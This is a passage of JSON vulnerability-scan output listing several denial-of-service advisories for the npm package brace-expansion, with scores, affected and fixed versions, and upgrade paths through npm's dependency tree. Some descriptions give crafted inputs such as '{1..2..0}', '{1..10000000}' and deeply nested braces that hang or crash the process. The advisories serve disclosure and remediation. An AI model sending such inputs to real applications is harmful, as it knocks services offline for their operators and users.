"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102278" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-qhr7-859c-m2p7" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:28:47.469361Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:22Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:28:47.672458Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-09T05:49:37.555149Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244952", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "baeseungwon1010", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.19", ">=2.0.0 <2.1.5", ">=3.0.0 <3.0.7", ">=4.0.0 <5.0.10" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.19", "2.1.5", "3.0.7", "5.0.10" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p", "title": "Maintainer's Advisory" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102276" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-6j4f-fj2g-mc7p" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:36:51.075985Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:21Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:36:51.235635Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-29T19:40:12.310972Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.47050", "probability": "0.00613", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918000Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.3", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.26429", "probability": "0.00355", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918521Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.3", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.3", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.49122", "probability": "0.00643", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-16T14:02:43.227595Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.3", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in 